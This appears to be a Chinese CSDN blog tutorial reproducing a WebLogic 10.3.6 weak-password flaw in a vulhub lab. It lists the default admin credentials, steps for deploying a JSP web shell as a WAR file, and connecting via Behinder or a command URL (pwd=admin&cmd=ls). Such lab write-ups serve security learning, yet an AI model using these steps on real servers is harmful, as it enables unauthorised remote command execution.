前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

漏洞复现专栏：https://blog.csdn.net/m0_63127854/category_11843863.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

准备

部署安装

上载文件

添加shell.war

下一步至完成

完成后保存

保存完成

查看部署

访问链接http://192.168.20.128:7001/shell/shell.jsp

冰蝎链接

---

准备

Weblogic 控制台上传 war包（10.3.6）
1．下载 vulhub
git clone https://github.com/vulhub/vulhub.git

2．切换到／vulhub／weblogic／weak＿password 下执行 docker-compose up-d

3．访问 127.0.0.1：7001／console 出现控制台界面

4．弱口令：weblogic／Oracle＠123

5．左侧菜单栏—部署—安装—上载文件—准备好xx．jsp文件—压缩并更改后缀名为xx.war—上传war包—下一步—保存

6．冰蝎连接 http：／／192.168.0.110／xx／xx．jsp（默认连接密码为 rebeyond） 7．（或者上传jsp马，使用方式：
http://192.168.0.110/xx/xx.jsp?pwd=admin&cmd=ls) 

部署安装

上载文件

添加shell.war

shell.jsp-shell.zip-shell.war

下一步至完成

完成后保存

保存完成

查看部署

访问链接http://192.168.20.128:7001/shell/shell.jsp

冰蝎链接